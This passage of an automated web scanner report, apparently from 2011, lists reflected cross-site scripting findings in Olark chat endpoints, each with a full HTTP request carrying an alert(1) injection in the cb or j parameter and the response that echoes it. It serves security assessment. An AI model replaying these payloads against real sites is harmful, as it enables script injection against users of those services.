Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o4&&c=pollevents&q=1554.13990.4&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.callbacks.polleventsa98f2%3balert(1)//00c9fd3e74&version=api-1.2.1&pretty=true HTTP/1.1
Host: 577-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/finance

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:53:37 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:53:37 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 255

try{hbl.client.callbacks.polleventsa98f2;alert(1)//00c9fd3e74(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o4')) hbl.util.remove_element('o4');}catch(e){}
1.24. http://577-async.olark.com/nrpc/p [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://577-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 30b7c'%3balert(1)//8570f06d23d was submitted in the j parameter. This input was echoed as 30b7c';alert(1)//8570f06d23d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o430b7c'%3balert(1)//8570f06d23d&&c=pollevents&q=1554.13990.4&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.callbacks.pollevents&version=api-1.2.1&pretty=true HTTP/1.1
Host: 577-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/finance

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:53:36 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:53:36 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 285

try{hbl.client.callbacks.pollevents(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o430b7c';alert(1)//8570f06d23d')) hbl.util.remove_element('o430b7c';alert(1)//8570f06d23d');}catch(e){}
1.25. http://666-async.olark.com/nrpc/p [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://666-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload bcd3a%3balert(1)//eb07f71cc9c was submitted in the cb parameter. This input was echoed as bcd3a;alert(1)//eb07f71cc9c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o3&&c=pollevents&q=588.55331.3&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.callbacks.polleventsbcd3a%3balert(1)//eb07f71cc9c&version=api-1.2.1&pretty=true HTTP/1.1
Host: 666-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/finance

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:40:58 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:40:58 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 256

try{hbl.client.callbacks.polleventsbcd3a;alert(1)//eb07f71cc9c(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o3')) hbl.util.remove_element('o3');}catch(e){}
1.26. http://666-async.olark.com/nrpc/p [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://666-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c6248'%3balert(1)//589e9585a42 was submitted in the j parameter. This input was echoed as c6248';alert(1)//589e9585a42 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o3c6248'%3balert(1)//589e9585a42&&c=pollevents&q=588.55331.3&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.callbacks.pollevents&version=api-1.2.1&pretty=true HTTP/1.1
Host: 666-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/finance

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:40:58 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:40:58 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 285

try{hbl.client.callbacks.pollevents(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o3c6248';alert(1)//589e9585a42')) hbl.util.remove_element('o3c6248';alert(1)//589e9585a42');}catch(e){}
1.27. http://67-async.olark.com/nrpc/p [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://67-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload b902d%3balert(1)//93245505f50 was submitted in the cb parameter. This input was echoed as b902d;alert(1)//93245505f50 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o4&&c=pollevents&q=9960.17350.4&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.callbacks.polleventsb902d%3balert(1)//93245505f50&version=api-1.2.1&pretty=true HTTP/1.1
Host: 67-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/cloud

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:40:20 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:40:20 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 256

try{hbl.client.callbacks.polleventsb902d;alert(1)//93245505f50(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o4')) hbl.util.remove_element('o4');}catch(e){}
1.28. http://67-async.olark.com/nrpc/p [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://67-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e15ae'%3balert(1)//9f06e70a071 was submitted in the j parameter. This input was echoed as e15ae';alert(1)//9f06e70a071 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o4e15ae'%3balert(1)//9f06e70a071&&c=pollevents&q=9960.17350.4&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.callbacks.pollevents&version=api-1.2.1&pretty=true HTTP/1.1
Host: 67-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/cloud

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:40:19 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:40:19 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 285

try{hbl.client.callbacks.pollevents(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o4e15ae';alert(1)//9f06e70a071')) hbl.util.remove_element('o4e15ae';alert(1)//9f06e70a071');}catch(e){}
1.29. http://752-async.olark.com/nrpc/p [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://752-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload b2192%3balert(1)//aad815db6b2 was submitted in the cb parameter. This input was echoed as b2192;alert(1)//aad815db6b2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o4&&c=pollevents&q=7322.13988.4&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.callbacks.polleventsb2192%3balert(1)//aad815db6b2&version=api-1.2.1&pretty=true HTTP/1.1
Host: 752-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/cloud

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:53:37 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:53:37 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 256

try{hbl.client.callbacks.polleventsb2192;alert(1)//aad815db6b2(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o4')) hbl.util.remove_element('o4');}catch(e){}
1.30. http://752-async.olark.com/nrpc/p [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://752-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4f645'%3balert(1)//c4f3ac2f9ff was submitted in the j parameter. This input was echoed as 4f645';alert(1)//c4f3ac2f9ff in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o44f645'%3balert(1)//c4f3ac2f9ff&&c=pollevents&q=7322.13988.4&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.callbacks.pollevents&version=api-1.2.1&pretty=true HTTP/1.1
Host: 752-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/cloud

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:53:36 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:53:36 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 285

try{hbl.client.callbacks.pollevents(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o44f645';alert(1)//c4f3ac2f9ff')) hbl.util.remove_element('o44f645';alert(1)//c4f3ac2f9ff');}catch(e){}
1.31. http://783-async.olark.com/nrpc/s [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://783-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload cb647%3balert(1)//ea3b1ee4d31 was submitted in the cb parameter. This input was echoed as cb647;alert(1)//ea3b1ee4d31 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o2&&c=sendpresence&q=8947.20605.2&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.noopcb647%3balert(1)//ea3b1ee4d31&m=%5B%7B%22v%22%3A%22%7Bnickname%7D%22%7D%2C%7B%22v%22%3A%22looking%20at%20http%3A%2F%2Ffull360.com%2Fhosting%5Cn%7C%20referred%20from%20http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%5Cn%7C%20located%20in%20%7Bgeolocation%7D%5Cn%7C%205%20pages%20viewed%5Cn%7C%20first%20visit%5Cn%7C%20using%20Firefox%20(Namoroka)%203.6.13%20on%20Windows%5Cn%7C%20%7Bipaddress%7D%5Cn%7C%20spent%2029%20minutes%20so%20far%22%7D%5D&p=chat&version=api-1.2.1&pretty=true HTTP/1.1
Host: 783-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/hosting

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:53:47 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:53:47 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 240

try{hbl.client.noopcb647;alert(1)//ea3b1ee4d31(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o2')) hbl.util.remove_element('o2');}catch(e){}
1.32. http://783-async.olark.com/nrpc/s [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://783-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c3a5d'%3balert(1)//87f520ba37a was submitted in the j parameter. This input was echoed as c3a5d';alert(1)//87f520ba37a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o2c3a5d'%3balert(1)//87f520ba37a&&c=sendpresence&q=8947.20605.2&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.noop&m=%5B%7B%22v%22%3A%22%7Bnickname%7D%22%7D%2C%7B%22v%22%3A%22looking%20at%20http%3A%2F%2Ffull360.com%2Fhosting%5Cn%7C%20referred%20from%20http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%5Cn%7C%20located%20in%20%7Bgeolocation%7D%5Cn%7C%205%20pages%20viewed%5Cn%7C%20first%20visit%5Cn%7C%20using%20Firefox%20(Namoroka)%203.6.13%20on%20Windows%5Cn%7C%20%7Bipaddress%7D%5Cn%7C%20spent%2029%20minutes%20so%20far%22%7D%5D&p=chat&version=api-1.2.1&pretty=true HTTP/1.1
Host: 783-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/hosting

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:53:47 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:53:47 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 269

try{hbl.client.noop(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o2c3a5d';alert(1)//87f520ba37a')) hbl.util.remove_element('o2c3a5d';alert(1)//87f520ba37a');}catch(e){}
1.33. http://787-async.olark.com/nrpc/c [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://787-async.olark.com
Path:   /nrpc/c

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload c9cbd%3balert(1)//d227aa14dd6 was submitted in the cb parameter. This input was echoed as c9cbd;alert(1)//d227aa14dd6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/c?j=o1&&c=create&q=5458.53325.1&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&v=Z6WEJHF3T2WNXYIB2S5UVNBY51571978&s=5157-1978017-10-1031&u=http%3A%2F%2Ffull360.com%2Ffinance&r=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue&cb=hbl.client.callbacks.beginc9cbd%3balert(1)//d227aa14dd6&g=ALL&version=api-1.2.1&pretty=true HTTP/1.1
Host: 787-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/finance

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:41:51 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:41:51 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 251

try{hbl.client.callbacks.beginc9cbd;alert(1)//d227aa14dd6(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o1')) hbl.util.remove_element('o1');}catch(e){}
1.34. http://787-async.olark.com/nrpc/c [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://787-async.olark.com
Path:   /nrpc/c

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2bf20'%3balert(1)//d98bc65fc46 was submitted in the j parameter. This input was echoed as 2bf20';alert(1)//d98bc65fc46 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/c?j=o12bf20'%3balert(1)//d98bc65fc46&&c=create&q=5458.53325.1&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&v=Z6WEJHF3T2WNXYIB2S5UVNBY51571978&s=5157-1978017-10-1031&u=http%3A%2F%2Ffull360.com%2Ffinance&r=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue&cb=hbl.client.callbacks.begin&g=ALL&version=api-1.2.1&pretty=true HTTP/1.1
Host: 787-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/finance

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:41:50 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:41:50 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 280

try{hbl.client.callbacks.begin(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o12bf20';alert(1)//d98bc65fc46')) hbl.util.remove_element('o12bf20';alert(1)//d98bc65fc46');}catch(e){}
1.35. http://787-async.olark.com/nrpc/s [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://787-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 410f6%3balert(1)//b49c3c5a858 was submitted in the cb parameter. This input was echoed as 410f6;alert(1)//b49c3c5a858 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o2&&c=sendpresence&q=9022.54524.2&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.noop410f6%3balert(1)//b49c3c5a858&m=%5B%7B%22v%22%3A%22%7Bnickname%7D%22%7D%2C%7B%22v%22%3A%22looking%20at%20http%3A%2F%2Ffull360.com%2Ffinance%5Cn%7C%20referred%20from%20http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%5Cn%7C%20located%20in%20%7Bgeolocation%7D%5Cn%7C%203%20pages%20viewed%5Cn%7C%20first%20visit%5Cn%7C%20using%20Firefox%20(Namoroka)%203.6.13%20on%20Windows%5Cn%7C%20%7Bipaddress%7D%5Cn%7C%20spent%2016%20minutes%20so%20far%22%7D%5D&p=chat&version=api-1.2.1&pretty=true HTTP/1.1
Host: 787-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/finance

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:40:58 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:40:58 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 240

try{hbl.client.noop410f6;alert(1)//b49c3c5a858(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o2')) hbl.util.remove_element('o2');}catch(e){}
1.36. http://787-async.olark.com/nrpc/s [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://787-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 76790'%3balert(1)//8f86ebf9ffc was submitted in the j parameter. This input was echoed as 76790';alert(1)//8f86ebf9ffc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o276790'%3balert(1)//8f86ebf9ffc&&c=sendpresence&q=9022.54524.2&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.noop&m=%5B%7B%22v%22%3A%22%7Bnickname%7D%22%7D%2C%7B%22v%22%3A%22looking%20at%20http%3A%2F%2Ffull360.com%2Ffinance%5Cn%7C%20referred%20from%20http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%5Cn%7C%20located%20in%20%7Bgeolocation%7D%5Cn%7C%203%20pages%20viewed%5Cn%7C%20first%20visit%5Cn%7C%20using%20Firefox%20(Namoroka)%203.6.13%20on%20Windows%5Cn%7C%20%7Bipaddress%7D%5Cn%7C%20spent%2016%20minutes%20so%20far%22%7D%5D&p=chat&version=api-1.2.1&pretty=true HTTP/1.1
Host: 787-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
